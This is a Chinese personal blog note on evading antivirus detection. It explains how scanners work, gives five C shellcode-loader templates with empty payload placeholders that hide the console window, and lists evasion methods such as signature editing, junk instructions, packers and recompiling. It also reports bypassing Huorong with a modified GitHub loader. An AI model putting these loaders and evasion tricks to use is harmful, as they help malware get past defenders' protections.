这里是凌晨4:50分,时隔一个月的一次熬夜。
夜里很安静,夜里很能静下心来去做事情。
主要是记录思路。
0x01、初探shellcode免杀
也不算是初探免杀了,去年有观摩过。
静态查杀:主要基于hash和特征码,hash可以是文件的hash或导入表之类的hash,特征码可以是是PE头、pdb、全局字符串、互斥体之类的信息。
动态查杀:基于API的监控和沙箱执行,杀软会通过对ntdll的关键API进行hook,实现对程序的API监控。另外可以在内核中注册一系列的回调函数实现对行为的监控。
启发式:多数杀软采用的是基于权重的启发式,就是一套加减分的规则,用于检测程序的潜在恶意行为,如程序在沙盒或模拟器环境运行,在此过程中有操作端口和通讯的函数,并将自身加载到启动项中等上述行为,则很有可能被判定为恶意,另外一些畸形区块也可触发。
0x02、shellcode执行的几种常见方式
1、指针执行
最常见的一种加载shellcode的方法,使用指针来执行函数
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
int main()
{
((void(*)(void)) & buf)();
}
2、申请动态内存加载
申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
3、嵌入汇编加载
注:必须要x86版本的shellcode
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
4、强制类型转换
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}
5、汇编花指令
和方法3差不多
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}
以上五种方法就是最常见的shellcode执行方式
0x03、免杀技术
2.1 修改特征码
既然杀毒软件在最开始时,使用了病毒特征码概念,那么我们可以通过修改病毒特征码的方式躲过杀软扫描。
第一种是更改特征码,例如:一个文件在某一个地址内有 “灰鸽子上线成功” 这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了。
第二种是根据校验和查杀技术提出的免杀思想,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。
2.2 花指令免杀
花指令免杀是指,在程序 shellcode
或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。
2.3 加壳免杀
加壳,程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如: UPX
、 ASPack
等。
现在杀软会在检测到文件采用加密壳之后,直接提醒用户,该文件存在问题。可以使用不常见加密壳对程序进行加壳,来躲避杀软,该方法理论可用,只通过加壳实现免杀,成功几率很小,现在基于虚拟机技术,内存监测技术的发展,通过加壳方式进行免杀的思路越来越窄。
2.4 二次编译
对于我这样的新手,可以利用前辈们github上面公开的,开源的项目,进行二次编译,就是在原项目上增增减减,进行混淆或者加密,也能重新实现免杀效果。
0x03、反沙箱技术
添加沙箱检测检查。
https://www.trustedsec.com/blog/enumerating-anti-sandboxing-techniques/
这个网站中放了很多反沙箱的一些技术,可以参考思路。
0x04、菜鸡的实操
耐于之前从github上下载的工具免杀失效了,自己也不会免杀,就试着学习学习。
对https://github.com/ByPassAVTeam/ShellcodeLoader项目的试探改造。
该项目分为两大块。
主要的文件有如下:
我测试是在虚拟机用火绒测试的,由于是个菜鸡,经过多次测试发现杀软主要杀掉的是shellcall.c文件中的某块内容。
对面的内容进行了混淆和加密,就站在大佬的视角下成功静态,动态全绕过了火绒。
在查询资料的同时发现了国外的一个dll加载bypass的项目,确实顶。
还有无文件落地也确实顶。
被爆了一晚上的沙箱。。。
不知道为什么我net user CXK /del 火绒会报
参考资料:
https://github.com/ByPassAVTeam/ShellcodeLoader
https://github.com/luckyfuture0177/ReZeroBypassAV
https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
https://bbs.pediy.com/thread-270969.htm#msg_header_h2_8
https://github.com/Airboi/bypass-av-note
https://luckyfuture.top/ShellcodeLoader.html
https://www.secpulse.com/archives/155599.html
https://www.wangt.cc/2021/08/%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%BC%80%E5%8F%91-shellcode%E6%89%A7%E8%A1%8C%E7%9A%84%E5%87%A0%E7%A7%8D%E5%B8%B8%E8%A7%81%E6%96%B9%E5%BC%8F/
https://www.trustedsec.com/blog/enumerating-anti-sandboxing-techniques/